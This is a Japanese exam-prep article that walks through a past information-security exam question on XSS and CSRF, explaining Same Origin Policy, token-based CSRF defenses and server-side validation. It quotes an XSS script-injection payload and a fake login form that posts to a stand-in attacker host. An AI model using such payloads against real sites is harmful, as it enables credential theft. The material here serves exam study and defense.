セキュアなWebアプリケーションについて
はじめに
本連載も、今回で最終回となります。試験本番(平成30年4月15日(日))まで時間もあとわずかとなり、皆さんも最後の詰めを行っている時期かと思います。最後まで気を抜かず、知識や考え方の強化を図っていきましょう。
今回は、Webシステム、特にWebアプリケーションに関する問題について解説します。
Webシステムに関する問題
本連載でも、Webシステムに関する項目を何度か扱っています。第2回では、攻撃手法の観点でWebアプリケーションの脆弱性やSSLについてまとめました。また、第4回では「Webサーバーのセキュリティ」と題して、試験で問われる傾向をまとめています。これらの解説も是非、見直してみてください。
なお、第4回でも紹介していますが、IPAの「安全なウェブサイトの作り方」 では、Webサイトを安全に維持するための方法が詳しくまとめられています。試験で問われるWebアプリケーションの様々な脆弱性や対策も確認できるため、こちらも是非確認しておきましょう。
表1~3に過去8回分のWebシステムに関連する問題をまとめました。午前試験、午後試験と万遍なく出題されますので、頻出テーマは確実に押さえておきましょう。
実施時期 | テーマ |
---|---|
H29 秋 | 問14 セッションハイジャックの対策 |
H29 春 | 問2 SSL/TLSのダウングレード攻撃 問5 セッションIDの固定化(Session Fixation)攻撃 問11 MITB(Man-in-the-Browser)攻撃の対策 問12 OSコマンドインジェクション |
H28 秋 | 問3 POODLE攻撃 問9 Cookieのsecure属性 問17 SQLインジェクションの対策 |
H28 春 | 問21 SQLインジェクション |
H27 秋 | 問12 クロスサイトスクリプティングの対策 問13 Cookieのsecure属性 |
H27 春 | 問17 SQLインジェクションの対策 問20 HTTPのヘッダ部 |
H26 秋 | ※該当なし |
H26 春 | 問10 Cookieのsecure属性 問15 OSコマンドインジェクション 問16 WAF(Web Application Firewall) 問17 SSLに対するバージョンロールバック攻撃 |
実施時期 | テーマとキーワード |
---|---|
H29 秋 | 問2 XSS、SQLインジェクション、Cookie など 問3 SSL/TLS、POODLE攻撃 など |
H29 春 | 問2 XSS、Cookie、CSRF、セッションハイジャック など |
H28 秋 | ※該当なし |
H28 春 | 問1 XSS、CSRF、Same Origin Policy など |
H27 秋 | 問1 Cookie、WAF など 問3 HTTPステータスコード など |
H27 春 | 問1 Cookie、XSS、HTTPヘッダインジェクション、セッションフィクセーション など |
H26 秋 | ※該当なし |
H26 春 | 問1 Referer、セッションID、クライアントサイドスクリプト など 問3 Man-in-the-Browser など |
実施時期 | テーマとキーワード |
---|---|
H29 秋 | ※該当なし |
H29 春 | 問1 HTTPS通信 など |
H28 秋 | 問2 SQLインジェクション、CGI、クロスオリジン、同一生成元ポリシ、WAF など |
H28 春 | 問2 User-agent、DLLインジェクション など |
H27 秋 | ※該当なし |
H27 春 | 問1 Webフォームと正規表現 など |
H26 秋 | 問1 HTTPステータスコード、Cookie など 問2 SQLインジェクション、セキュリティ診断、DOMベースのXSS、クリックジャッキング、HSTS など |
H26 春 | 問2 HTTPSのクライアント認証 など |
Webアプリケーションに関する過去問題
頻出テーマのXSS(クロスサイトスクリプティング)やCSRF(クロスサイトリクエストフォージェリ)について、過去問題(平成28年度 春期 午後Ⅰ問1)を例に解説します。
・設問1
(1)
〔XSS脆弱性の説明と修正〕のNさんの最初の発言より、「URLパラメタであるkeywordに攻撃用の文字列として<script src=”https://wana.example.jp/Login.js”></script>を組み込んだhttps://kensho.m-sha.co.jp/Gamen2-2へのリンクを含む電子メールを作成し、被害者に送付します。」とあります。
このリンクをクリックすると、問題の図5のような画面が表示されます。この画面を表示するスクリプト(問題の図6)の4行目に「<form name=”loginForm” action=”https://wana.example.jp/login” method=”post”>」とあるため、ログインボタンを押すと「https://wana.example.jp/login」へ入力データが送信されます。
したがって、解答例は「wana.example.jp」です。
(2)
(1)と同様の問題文中から、リンク先は「https://kensho.m-sha.co.jp/Gamen2-2」です。FQDN(ホスト名+ドメイン名)を問われているのでドメイン名も含めて記載しましょう。
したがって、解答例は「kensho.m-sha.co.jp」です。
(3)
〔XSS脆弱性の説明と修正〕のNさんの3回目の発言より、「攻撃者のコンテンツ内のスクリプトで懸賞システムのコンテンツを参照することができません」とあります。ここでは、どのような仕組みが実装されているため、このような結果になるのかを考えます。
近年のブラウザでは、同一のオリジン(スキーム名、ホスト名、ポート番号)を持つ場合のみ、リソースにアクセスできる仕組みであるSame Origin Policy(同一生成元ポリシ―)が実装されています。
したがって、bの解答は「エ」です。
(4)
〔XSS脆弱性の説明と修正〕のNさんの3回目の発言より、「攻撃者が用意したhttps://wana.example.jp/getFrame.jsというスクリプトで、3行目のフレームの内容を参照することができる」とあります。問題の図7の3行目のフレームの内容を参照するためには、Same Origin Policyをかいくぐるために、4行目で3行目と同一のオリジンを指定する必要があります。また、画面2-2にはXSSの脆弱性があるため、Gamen2-2を活用することが推測されます。すなわち、図1のようにオリジンを同一とするとGamen2-2よりGamen3-7の内容にスクリプトで参照できます。
したがって、cの解答例は「https://kensho.m-sha.co.jp/Gamen2_2」です。
ここで、Gamen2-2にスクリプトを埋め込むためには、入力パラメタに攻撃用の文字列を組み込みます。
〔XSS脆弱性の説明と修正〕のNさんの最初の発言より、「URLパラメタであるkeywordに攻撃用の文字列として~」とあるため、パラメタの名称は「keyword」です。
したがって、dの解答例は「keyword」です。
(5)
画面3-7は登録情報の修正画面です。どのような状況でこの画面の表示内容が窃取されるのかを考えます。
問題の図1の注記2より、「ログインしていない状態で画面3-3~画面3-9のURLを指定した場合は、画面1-1へリダイレクトされる」とあります。すなわち、画面3-7を表示するためには、被害者があらかじめログインしている状態である必要があります。
したがって、解答例は「懸賞メンバとしてログインしている状態」です。
・設問2
(1)
CSRF(クロスサイトリクエストフォージェリ)は、ユーザーがログイン機能を持つWebサイトにログインした状態で攻撃者の用意した罠サイトなどを経由し、ユーザーの意図しない不正なリクエストを強要される攻撃です(図2)。
CSRFの主な対策には、以下の2つが挙げられます。
- リクエストを送る際にランダムな値を生成し、その値をWebサーバー側で検証することで正しいリクエストであるかを確認する
- パスワードの変更など、重要な処理を行う際に再度パスワード認証を行う
問題の図8では1.の対策が当てはまります。ランダムな値をhiddenパラメタなどで送信することで、攻撃者はそのランダムな値を入手しない限りCSRFの攻撃を成功させることができません。
したがって、eの解答例は「ランダムな値」、fの解答例は「hidden」です。
(2)
画面遷移時にユーザーから何かしらのパラメタを渡さなければCSRFの対策は不要です。問題の表1より、(あ)(う)(え)(か)(こ)(さ)(せ)が「対策を行わない」画面遷移に該当します。
また、(い)はキーワードを入力して検索結果を表示するだけであり、不正なリクエストを強要されても意図しない検索画面が表示するだけであり、CSRFとしての対策は不要と言えます。ただし、XSSやSQLインジェクションなどの対策は必要です。
一方で、(く)(し)(す)の画面遷移では、ユーザーの登録情報の書き換えにつながるため、CSRFの対策が必要と言えます。
したがって、解答は「ウ」です。
・設問3
(1)
下線②(画面2-1においてWebブラウザ側のスクリプトで入力値を検査していた)より、現状ではWebサーバー側でのチェックが行われていません。この場合、Webブラウザのスクリプトを無効にしたり、検査を行うページ(画面2-1)を経由せず直接次のページ(画面2-2)へアクセスしたりして、Webブラウザでの検査を回避できれば、XSSの攻撃が成立してしまいます。
したがって、解答例は「攻撃者は、画面2-1を経由させずに直接画面2-2へアクセスさせるから」です。
(2)
(1)の問題を解決するために、Webサーバー側で入力値をチェックする必要があります。
したがって、iの解答例は「サーバサイド」です。
(3)
問題の図10(2)(ア)より、「<>&”‘を含まない文字列であっても、HTML内の出力される箇所によっては、XSS脆弱性の原因となる場合があるので、信頼できるデータとはいえない。例えば、 j を出力する箇所では、XSS脆弱性を防ぐために“javascript:”などの文字列を排除する必要がある」とあります。
XSSでは<script>タグを使ってスクリプトを挿入させることが典型的な例であり、XSSの一般的な対策として、上記の文字列をエスケープすることが有効です。しかし、URLでは「javascript:」で始まる形式を許すとスクリプトを動作させることができます。
例えば、Webブラウザのアドレスバーで「javascript:alert(“warning”)」と入力すると、JavaScriptが動作してアラートウインドウが表示されます。そのため、入力値からURLを出力する場合はhttp、https以外の文字列は許可しないことが望ましいと言えます。
したがって、jの解答例は「URL」です。
XSSの対策は、ユーザーからの入力データを出力する際に、不正な文字列をエスケープすることが重要です。入力データだけではなく、出力データや出力先を十分に意識しましょう。
おわりに
まもなく、試験本番です。一度解いた過去問題を解き直す、参考書や技術書を再確認するなど、ギリギリまで出来ることは色々あると思います。最後まで諦めずに試験対策を進めましょう。
皆様の試験合格を、心よりお祈り申し上げます。
連載バックナンバー
Think ITメルマガ会員登録受付中
全文検索エンジンによるおすすめ記事
- 平成31年度 春期試験 午後Ⅰ問題対策① ―問1
- 診断の現場からの提言!Webサイトの脆弱性が潜む場所を知る
- ケース別、攻撃の手口
- OpenIDに仕掛けられやすい5つの攻撃
- クラウド時代のアプリケーション配信を最適化するCitrix NetScaler
- WordPressのプラグイン「Responsive Lightbox」に反射型XSS脆弱性が存在
- WordPressのプラグイン「Responsive Lightbox」に反射型XSS脆弱性が存在
- 止まらないSQLインジェクション事件
- アプリケーションプロトコル「HTTP(HyperText Transfer Protocol)」のポイント
- 何から情報を守ればよいか、攻撃手法を知ろう